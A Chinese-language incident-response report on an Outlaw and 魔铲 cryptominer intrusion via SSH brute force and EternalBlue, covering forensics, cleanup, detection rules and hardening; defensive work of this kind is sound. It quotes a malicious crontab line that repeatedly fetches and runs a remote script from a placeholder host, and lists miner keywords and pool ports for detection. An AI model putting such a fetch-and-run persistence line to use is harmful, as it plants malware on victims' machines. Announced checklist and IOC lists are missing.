深夜两点，监控平台的告警列表里弹出一条不太起眼的主机 CPU 峰值告警，指向隔离区里的一台 Linux 测试服务器。最初判断可能是例行任务的误报，但当值班同事点开性能曲线时，发现 CPU 连续十多个小时维持在 90% 以上，这在测试环境下很不正常。随后网络流量视图里出现了一连串指向境外矿池地址的长连接，几乎同时，另一台数据库测试机的网卡流量也出现奇怪的波动。

这次突发事件最终被定性为“Outlaw + 魔铲”双挖矿家族联合入侵事件。两个挖矿家族在同一内网里同时活跃，这在应急响应里不算常见。后续排查中发现攻击者并没有用什么高深零 day，靠的是 SSH 弱口令爆破和永恒之蓝漏洞组合拳，但恰恰是这种“低技术含量”的组合让我们的隔离区防线一路失守。接下来整理这份应急响应实录，把我们如何溯源、隔离、取证、清理以及后续加固的过程完整记录下来，希望能给同样负责测试环境、预发布环境安全的人一点参考。特别是很多人容易忽视“测试环境被打了也无所谓”，但事实上，当挖矿木马联合起来攻入测试网时，攻击者离生产网往往只差一段微隔离的距离。

1. 事件发现：从一条 CPU 弹窗到全网排查

1.1 第一现场：满载的 CPU 与反常的矿池流量

告警触发点是监控系统里一个自定义规则，阈值是“CPU 使用率超过 85% 且持续 10 分钟”。正常情况下，测试环境的定时压测任务、自动化脚本执行、数据灌库操作都会造成 CPU 波动，所以这类告警经常被值班团队标为“观察”。但这次的高 CPU 持续时间太长，长到明显偏离任何已知的测试任务计划。

登录到跳板机查看主机状态时，我们看到三个关键现象：

• top输出里kworker、sshd、xmrig三个进程轮流抢占 CPU 头部位置，xmrig这个名字几乎不用犹豫就能判定是门罗币挖矿木马；
• 系统负载平均值在load average: 18.62, 15.31, 12.47，但机器的物理核数只有 8 核；
• 通过ss -antp检查外联连接，发现大量与:3333、:14444、:5555端口的 TCP 长连接，这些端口都是知名矿池端口。

有人可能会问，为什么不是第一时间断网拔线？按照应急响应的规范流程，确认是安全事件后的第一步动作是“隔离取证”，拔线会导致内存中运行的进程信息、网络连接状态全部丢失，对后续溯源非常不利。我们选择先把主机从业务 VLAN 里抽出来，保留一个独立的管理通道用于取证，再通过防火墙策略阻断其外联方向。

1.2 扩大排查：测试网里不止一台“矿机”

孤立一台主机是不够的，因为挖矿木马尤其是蠕虫型挖矿木马，具备内网横向移动能力。我们用资产管理平台拉取了测试网段全部主机的清单，筛出三类重点目标：

• 开启了 SSH 服务且密码策略薄弱的主机；
• 存在 SMB 服务且长期未打补丁的主机；
• 已经出现过安全告警但未闭环处置的“历史遗留问题”主机。

排查结果令人后背发凉——整个测试网段内，确认被植入挖矿程序的主机有 6 台，同时存在可疑计划任务、新增用户、异常定时脚本的主机有 12 台，另外还有一批 Windows 主机出现svchost.exe异常网络连接的迹象。这不是单一攻击者随手撒网的结果，而是两个不同挖矿家族在同一内网里“接力”扩散后的惨状。

我们立刻把事件级别从“一般安全事件”上调到“较大安全事件”，启动正式应急响应流程，并向安全团队、运维团队、开发测试团队同步信息，明确各自的分工边界。这一步非常关键——如果信息不同步，运维可能随手把测试虚拟机重启，导致内存证据全部丢失；开发可能继续往已感染主机上部署代码，扩大影响范围。

2. 双挖矿家族技术拆解：Outlaw 与魔铲的“作案手法”

2.1 Outlaw：靠 SSH 暴破起家的老牌挖矿僵尸网络

Outlaw 这个家族最早被公开披露是在 2018 年前后，核心手法就是“SSH 暴力破解 + 植入持久化后门 + 挖门罗币”。到 2023 年了仍然活跃，说明它的自动化程度和存活策略确实有可取之处。这次事件中，Outlaw 扮演的是“开门人”角色。

它的攻击链条大致如下：

1. 攻击者扫描内网中暴露的 22 端口，使用内置字典对 root、admin、test 等用户名进行密码爆破；
2. 爆破成功后，通过明文 SSH 会话执行一段下载命令，从指定的 URL 拉取第一阶段脚本；
3. 第一阶段脚本负责关闭常见安全软件、释放 Rootkit 组件、写入 crontab 持久化任务；
4. 第二阶段脚本从远端下载 XMRig 挖矿主程序，连接矿池开始挖矿。

Outlaw 的持久化方式非常典型但也很隐蔽：它会在 crontab 里写入一条看似正常的定时任务，例如*/5 * * * * curl -fsSL http://xxx.xxx.xxx.xxx/a.sh | sh，每 5 分钟重新拉取并执行一次脚本。这意味着即使你手工清理了挖矿进程，只要 crontab 里的任务还在，5 分钟后一切就会复活。所以我们常跟人说，清挖矿木马不是杀掉进程就完事，而是要沿着“进程→文件→定时任务→启动项”这条链完整清理。

另一个值得注意的细节是，Outlaw 还会释放 Rootkit 组件用来隐藏自身进程。我们在一台受害主机上发现，ps命令输出的进程列表明显“不完整”，比如top显示有进程占用了 200% 的 CPU，但ps aux里却找不到这个进程。这是典型的进程隐藏手法，更专业的做法是比对/proc目录下的进程条目和ps输出的差异。

2.2 魔铲：永恒之蓝的“遗产继承者”

与 Outlaw 不同，魔铲这个家族的核心武器是永恒之蓝漏洞（MS17-010），然后针对不同操作系统平台释放不同架构的挖矿程序。它感染一台主机后，会立刻扫描内网其他主机的 445 端口，使用漏洞利用代码尝试远程代码执行，从而实现“一台失守，全网蔓延”。

魔铲的横向传播能力比 Outlaw 强得多。Outlaw 基本是靠 SSH 密码爆破一台一台试，效率低但胜在持久；魔铲则像是“复印机”，每攻陷一台主机就会立即尝试感染同网段其他主机。在我们这次事件里，那几台 Windows 测试服务器就是被魔铲打穿的。

魔铲的技术特征包括：

• 内置了大量针对不同平台的挖矿二进制文件下载逻辑，包括 x86_64、x86、ARM、MIPS 等架构，这意味着它不仅打服务器，还打路由器、摄像头等 IoT 设备；
• 使用永恒之蓝漏洞传播成功后，会在目标主机上释放mssecsvc.exe之类的文件，并创建系统服务实现开机自启；
• 挖矿程序连接矿池时会使用固定的 UA 或特定请求路径，这些可以作为流量检测的规则特征。

需要注意的是，魔铲这个家族的变种非常多，不同版本释放的文件名、矿池地址、持久化方式都有差异。应急响应时不能只靠记忆中的旧样本特征，要在现场提取完整 IOC 并做交叉验证。

2.3 双挖矿叠加后的排查挑战

这次事件最棘手的地方，不是两个家族各自有多厉害，而是它们在同一内网里形成了“互助式感染链”。Outlaw 打进来的 SSH 弱口令主机，可能同时被魔铲通过永恒之蓝再次击中；魔铲控制的 Windows 主机，又可能被 Outlaw 用收集到的账号密码继续横向尝试。

从防御视角看，这种叠加带来了两个直接后果：

• 清理难度指数级上升。你清掉 Outlaw 的 crontab，魔铲的服务还在；你堵住永恒之蓝的 445 端口，Outlaw 的 SSH 爆破还在继续。只处理一个家族，等于白处理。
• 溯源复杂度大幅提高。入侵路径不再是一条清晰的单链，而是多个入口、多条路径交织，日志关联分析的工作量成倍增长。

我们在实际排查中，建立了一张“感染关系图”，把每台受害主机、被利用的漏洞类型、发现的恶意文件哈希、外联矿池地址全部映射到同一张表里。这样就能快速看出哪些主机是 Outlaw 感染的“第一跳”，哪些是魔铲横向扩散的“延伸节点”，从而确定处置优先级。

3. 应急响应全流程实录：从隔离到恢复的每一步

3.1 隔离止损：先切断横向移动路径

整场应急响应的第一个动作是止损。网络层面，我们在核心交换机上临时下发 ACL，将受感染网段与生产网段、办公网段的互访全部阻断，只保留运维管理通道。这一步的意义在于，即使我们后续清理动作没有做干净，攻击者也无法利用这些主机继续向生产网横向渗透。

主机层面，对已经确认感染的 6 台主机执行“逻辑隔离”，具体操作是：

1. 记录当前所有 TCP/UDP 连接状态和 PID 对应关系；
2. 保留内存镜像，使用lime工具抓取易失性数据；
3. 在隔离的取证网络里保持主机在线，但阻止其对公网的一切访问。

这里要特别提醒一点：不要第一时间关闭受害主机。如果你把电源直接断掉，内存里的网络连接信息、进程注入痕迹、尚未落盘的攻击命令全部烟消云散。正确做法是保留主机在线状态，但对网络访问做精细化管控。

3.2 取证调查：主机层与服务端的双向作战

主机层取证的核心目标是搞清楚三件事：攻击者通过什么途径进来、在系统里做了什么、留下了哪些后门。

我整理了一份取证操作清单，按照优先级排序：

在实际执行中，我们发现 Outlaw 释放的挖矿主程序伪装在/tmp/.X11-unix/目录下，文件名模仿系统进程的名字；魔铲的漏洞利用程序则放在了/var/spool/cron/目录里，既有计划任务文件属性又兼作持久化脚本。如果只是按常规目录排查，很容易漏掉这些隐藏文件。

服务端日志方面，我们重点分析了跳板机、防火墙、AD 域的认证日志。通过关联跳板机的访问记录和受害主机上的 SSH 登录时间，成功定位到了攻击者的源 IP 段。这里有一个技巧：攻击者经常会使用跳板机作为中间跳板，但跳板机本身也可能留有登录凭证类文件，配合auth.log的小时级统计，可以比较快地画出攻击时间轴。

3.3 清理与恢复：杀进程只是开始

清理步骤遵循“先持久化、后进程、再文件”的顺序，但实际操作顺序其实是反过来的：先找到并移除持久化载体，再终止进程，最后清理文件。如果顺序搞反，进程很快会被持久化任务重新拉起，白忙一场。

以 Linux 受害主机为例，我们执行了以下操作：

1. 移除/var/spool/cron/root、/etc/cron.d/下的恶意定时任务，并记录原始内容用于后续分析；
2. 禁用异常 systemd 服务，执行systemctl disable [服务名]并删除对应的 unit 文件；
3. 杀掉所有挖矿相关进程，使用pkill -f xmrig配合kill -9精确处理残留线程；
4. 删除/tmp/.X11-unix/、/dev/shm/下恶意文件，清理 rootkit 相关的动态链接库；
5. 检查 SSH 授权文件authorized_keys，移除攻击者植入的信任公钥。

这里有个很容易踩的坑：部分 Outlaw 变种会写入/etc/ld.so.preload来加载 Rootkit 库，这个文件如果存在而且内容异常，即使你把恶意二进制删了、crontab 清了，系统级别的进程隐藏和命令劫持仍然存在。清理时一定要检查/etc/ld.so.preload，并对比系统原始库文件哈希。

Windows 受害主机的清理相对直接一些，但要注意魔铲变种通常会创建名为mssecsvc的 Windows 服务，还会在C:\Windows\Inf目录释放驱动级文件。清理时需要先停止服务、删除服务注册表项，再清除文件，最后用sigverif或自定义规则检查系统文件完整性。

所有主机清理完毕后，没有立即恢复正常业务，而是进入了 72 小时观察期。这个观察期里，安全团队继续监控这些主机的 CPU、网络连接、进程启动情况，确认没有“回弹”迹象才逐步放量恢复。

4. 痕迹、样本与检测规则：把应急经验固化成能力

4.1 关键 IOC 提取与样本特征

应急响应不只是把眼前的问题处理掉，更重要的是把这次事件沉淀成可复用的检测能力。我们从受害主机上提取了一批 IOC，这里分享几个有代表性的：

基于这些 IOC，我们在流量检测设备上添加了域名黑名单和 IP 黑名单，同时把哈希值输入到 EDR 和杀毒策略里。但说实话，IOC 的时效性有限——攻击者换一个域名、换一个矿池端口就能绕过去。更可靠的检测方式是基于行为特征，往下看。

4.2 基于行为的检测规则设计

挖矿木马虽然千变万化，但有几个行为是绕不开的：高强度 CPU 计算、外联矿池端口、修改 crontab、释放隐藏文件到临时目录。

我们改造了现有监控体系，增加了三条检测规则：

• CPU 长时高水位规则：检测 CPU 使用率连续 30 分钟超过 80% 且进程名匹配常见挖矿关键字（xmrig、minerd、kworker的异常变体等），触发中危告警；
• 矿池端口外联规则：针对已知矿池常见端口集合（3333、4444、5555、14444、45560 等），只要内网主机发起外联即触发高危告警；
• 文件目录异常规则：监控/tmp/.X11-unix、/dev/shm、/var/tmp等目录下新出现的可执行文件，结合文件哈希自动提交沙箱检测。

这三条规则的成本很低，但对挖矿家族有很强的覆盖力。实际运营中，我把它们部署在了分布式主机探针和流量探针两层，既能看到主机侧的行为，也能看到网络侧的整体流向。

4.3 日志分析的关键字段

应急响应后半程，我们把重点放在日志分析上。从跳板机和核心交换机导出 30 天日志，进行关联分析。有几个字段特别需要关注：

• SSH 认证日志里的Failed password次数，如果某个源 IP 在短时间内出现几十次失败记录，基本可以判定是爆破行为；
• 源 IP 到多个目标 IP 的横向连接记录，特别是从一台测试机向大量主机发起的 445 端口 SYN 包，这是蠕虫扩散的信号；
• 计划任务的创建日志，在 Linux 上通过auditd监控/var/spool/cron目录的写操作，在 Windows 上通过安全事件 ID 4698 监控计划任务创建。

如果日志系统里这些维度都没覆盖，说明监测能力存在重大缺口。下一次事件发生时，你可能连攻击路径都还原不出来。

5. 纵深防御反思：为什么“隔离区”还是不设防

5.1 网络隔离的“最后一公里”缺失

坦白说，这次事件里最让我觉得丢分的不是挖矿木马本身，而是我们一直以为固若金汤的网络隔离。测试网和生产网确实做了逻辑隔离，但测试网内部几乎是“一马平川”——所有主机在同一个大二层网段，VLAN 之间没有做微隔离，主机之间互访完全没有限制。

这就导致魔铲的永恒之蓝利用几乎没有任何阻碍。一台 Windows 测试机被攻破后，扫描器很快就能覆盖整个测试网段的所有 445 端口，每一台历史遗留的、长期未打补丁的测试主机都成了新的跳板。

正确的做法是：即使在同一隔离区内，也应当按照业务系统、使用角色、敏感程度进行子网划分，至少做到“测试 A 区和测试 B 区之间默认拒绝，按需放行”。微隔离听起来是一个很重的工程，但从最小化改动来看，哪怕只在核心交换机上多配几条 ACL，也能极大压缩横向移动的攻击面。

5.2 测试环境的安全基线缺位

测试环境在不少企业里的地位很尴尬：开发说“我只是临时用一下”，运维说“测试环境出问题不影响生产”，安全说“等上线前再做基线检查”。结果就是，测试环境成了安全防护的真空地带。

这次事件中暴露的问题包括：

• 测试服务器使用root/123456、test/test123这类口令，SSH 爆破一次成功；
• Windows 测试机长期没有打补丁，永恒之蓝漏洞一打一个准；
• 测试机上的杀毒软件被运维以“影响性能”为由卸载，EDR 探针部署率不足 30%；
• 多个测试数据库使用默认端口和默认账号，攻击者拿下主机后直接拖库测试连接。

不是说测试环境必须做到和生产一样的防护强度，但安全基线必须存在。最低限度要求应该包括：密码强度策略、漏洞补丁周期、EDR 全覆盖、公网入口收敛。测试环境的安全成本没那么高，缺的是重视。

5.3 监控告警的盲区与误报疲劳

监控平台其实很早就看到了异常，只是没人重视。回顾告警日志，第一台受害主机被植入挖矿程序后 15 分钟，CPU 告警就触发了，但值班人员因为“测试环境常有压测任务”将告警关闭。这是典型的误报疲劳，也是许多安全事件从“可发现”变成“已失控”的转折点。

要解决这个问题，不能只靠提升值班人员的责任心，更需要在告警规则和处置流程上下功夫：

• 给告警增加“上下文”：CPU 告警要关联该主机的业务时间表，如果当前没有压测任务窗口，告警级别自动提升；
• 引入多源关联：单看 CPU 不够，要结合外联连接、计划任务变更、进程创建等多维度信号综合判断；
• 建立“疑似挖矿”快速处置手册：即使值班人员不确定，也能按手册快速隔离取证，而不是简单关闭告警。

如果监控能力足够强，这次事件的 MTTR（平均修复时间）可以从几天压缩到几小时。但前提是你得把告警规则设计到能真正反映业务和安全的风险等级。

6. 事后加固清单：把教训变成防线

6.1 边界访问控制和账号治理

在边界层面，我们对测试网段的公网入口做了一次彻底收敛：

• 所有 SSH 服务端口不再直接暴露公网，统一收敛到跳板机，通过堡垒机进行身份认证和操作审计；
• 对 445 端口、139 端口等面临 SMB 风险的服务，在核心交换机和防火墙上执行“全网默认拒绝，单点例外放行”策略；
• 对测试网的对外连接执行白名单策略，仅允许必要的软件源、Docker 镜像仓库等指定域名通过，其余公网访问全部阻断。

账号治理方面，我们强制要求所有测试主机启用 SSH 密钥登录，关闭密码登录方式。对于确因自动化脚本需要密码认证的少数场景，专门纳入了密码保险箱集中管理，并设置 90 天自动轮换。这一步做完，Outlaw 这类靠 SSH 暴破的家族基本就废了。

6.2 主机加固与补丁管理

主机层面的加固动作比较细，核心是三条：

1. 全网范围内重新扫描 MS17-010 漏洞，对所有存在永恒之蓝漏洞的 Windows 主机执行补丁安装，并登记补丁版本形成台账；
2. 对所有 Linux 主机执行基线核查，重点检查/etc/ld.so.preload、crontab、systemd 服务、特殊权限文件等高风险位置；
3. 清理测试环境中的所有弱口令账号，对长期无人使用的“僵尸账号”直接冻结删除。

补丁管理这块说实话是最难的。测试环境系统杂、版本旧、改造成本高，很多老系统连供应商都找不到了，强制打补丁可能引发兼容性问题。我们的折中方案是：能打补丁的打补丁，不能打补丁的主机必须单独划 VLAN，且除了必要的业务端口外禁止任何横向访问。至少保证它就算被攻破，也没法扩散到其他主机。

6.3 检测和应急能力的持续补齐

最后一块是能力建设。我们基于这次事件的经验，输出了三份具体成果：

• 更新了《挖矿木马应急响应处置手册》，把 Outlaw、魔铲这类双家族叠加场景的处置流程单独列为一节；
• 在 SOC 平台里新增了“挖矿行为检测”场景，把前文提到的三类行为规则固化进自动告警体系；
• 组织了一次基于本次真实事件的沙盘推演，让值班团队、运维团队、开发测试团队共同参与，明确各自在应急响应中的动作和时间要求。

应急响应的价值从来不在于“事后灭火”，而在于每次灭火后把消防设施升级一遍。这次事件之后，我们最大的变化不是多了几条封禁 IP 的防火墙规则，而是终于把测试环境的安全视为了生产环境安全的一部分。

最后再分享一个小技巧：清理挖矿木马时，别只盯着top里能看到的高 CPU 进程。建议你用busybox静态编译一份到应急工具箱里，因为很多被植入 Rootkit 的系统里，ps、netstat、ls这些基础命令可能已经被替换或劫持。用静态编译的 busybox 执行/bin/busybox ps和/bin/busybox netstat -anp，能绕过大部分进程隐藏和命令替换手法，看到系统真实的状态。这个小工具在关键时刻救过我们不止一次。